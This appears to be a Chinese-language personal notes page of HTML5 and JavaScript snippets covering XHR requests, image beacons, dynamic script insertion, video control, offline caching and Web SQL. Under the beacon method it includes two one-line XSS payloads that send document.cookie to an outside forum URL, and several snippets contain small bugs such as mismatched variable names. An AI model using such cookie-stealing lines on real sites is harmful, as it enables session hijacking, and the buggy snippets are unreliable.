HTML5 代码实例

1. HTML5 代码与测试

方法一：ajax(post + get)

post:

var url = '/data.php';
      var params = [
            'id=934875',
            'limit=20'
      ];
      var req = new XMLHttpRequest();
      req.onreadystatechange = function() {
            if (req.readyState=== 4) {
                  var responseHeaders = req.getAllResponseHeaders();
                  var data = req.responseText;
            }
      }
      req.open('GET', url + '?' + params.join('&'), true);
      req.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
      req.send(null);

get :
        var url="xxx";

        xmlHttp=GetXmlHttpObject();
        xmlHttp.onreadystatechange=function()
        {
            if (xmlhttp.readyState==4 && xmlhttp.status==200)
            {
                var d= xmlHttp.responseText;
                var json =JSON.parse(d);


                document.getElementById("resultget").value=json.mockposturl;


                /
            }
        }


        xmlHttp.open("GET",url,true);
        xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xmlHttp.send();

方法二：灯标（不能发送POST 数据）
//第一种GET方式  
new Image().src="http://www.3g-sec.com/forum.php?cookie="+escape(document.cookie);  
//第二种GET方式  
location.href="http://www.3g-sec.com/forum.php?cookie="+escape(document.cookie); 



具体：
var url = '/status_tracker.php';
      var params = [
            'step=2',
            'time=1248027314'
      ];
      (new Image()).src = url + '?' + params.join('&');

注：
 服务器取得此数据并保存下来，而不必向客户端返回什么，因此没有实际的图像显示。这是将信息发回服务器的最有效方法。其开销很小，而且任何服务器端错误都不会影响客户端。
方法三：动态脚本标签插入

  var scriptElement = document.createElement('script');
      scriptElement.src = 'http://any-domain.com/javascript/lib.js';//任意的url
      document.getElementsByTagName_r('head')[0].appendChild(scriptElement);
      function jsonCallback(jsonString) {
            var data = ('(' + jsonString + ')');
      }

注：  但是动态脚本标签插入与XHR相比只提供更少的控制。你不能通过请求发送信息头。参数只能通过GET方法传递，不能用POST。你不能设置请求的超时或重试，实际上，你不需要知道它是否失败了。你必须等待所有数据返回之后才可以访问它们。你不能访问响应信息头或者像访问字符串那样访问整个响应报文。

方法四：使用document.write直接写入
 
这两种都能轻松的动态创建一个script标签，来构造get请求

参考：
http://sjolzy.cn/JS-GET-request-for-the-dynamic-structure.html
http://www.html5china.com/js/jsadv/20111120_2731.html

html5代码

作用	代码	备注
video	var myVideo=document.getElementById("h5v-video-ID"); myVideo.pause(); myVideo.play(); alert(myVideo.src); myVideo.width=335;// 变小 myVideo.width=535;//变大
cookie	http://blog.csdn.net/huazhongkejidaxuezpp/article/details/50259419
localstorage	http://blog.csdn.net/huazhongkejidaxuezpp/article/details/50283081
HTML5 离线缓存-manifest	js可以手动更新本地缓存: window.applicationCache.update(); 即使下载完新的缓存，也不意味这页面会更新，我们需要重新加载一次页面  if (confirm('页面已更新，是否加载新内容?')) {         window.location.reload();       } Manifest的特点 离线浏览: 用户可以在离线状态下浏览网站内容。 更快的速度: 因为数据被存储在本地，所以速度会更快. 减轻服务器的负载: 浏览器只会下载在服务器上发生改变的资源。 更多参考： http://blogread.cn/it/article/7176 http://www.cnblogs.com/dolphinX/p/3439970.html
向服务器请求数据（发送get/post请求）	方法零： 方法一：form  ｇｅｔ＋ｐｏｓｔ
fromCity:
toCity:
js跨域及解决方案	http://blog.csdn.net/huazhongkejidaxuezpp/article/details/50607399
HTML5 Web SQL 数据库--- SQLite数据库	1） 与 会话级别的本地存储：sessionStorage ，永久本地存储：localStorage 的区别 虽然Html5已经提供了功能强大的localStorage和sessionStorage，但是他们两个都只能提供存储简单数据结构的数据，对于复杂的Web应用的数据却无能为力。 逆天的是Html5提供了一个浏览器端的数据库支持，允许我们直接通JS的API在浏览器端创建一个本地的数据库，而且支持标准的SQL的CRUD操作，让离线的Web应用更加方便的存储结构化的数据 2）存储在了：假定我安装到了C:\Documents and Settings\charles.wang\Local Settings\Application Data\Google\Chrome 那么SQLite数据库就安装到了$CHROME_HOME\User Data\Default\databases中 这个目录中databases.db是当前用户的所有创建的数据库的配置，而file__0目录则是数据库表文件目录 用法： http://www.runoob.com/html/html5-web-sql.html http://www.2cto.com/kf/201205/130762.html http://www.cnblogs.com/fly_dragon/p/3946012.html
js内存泄漏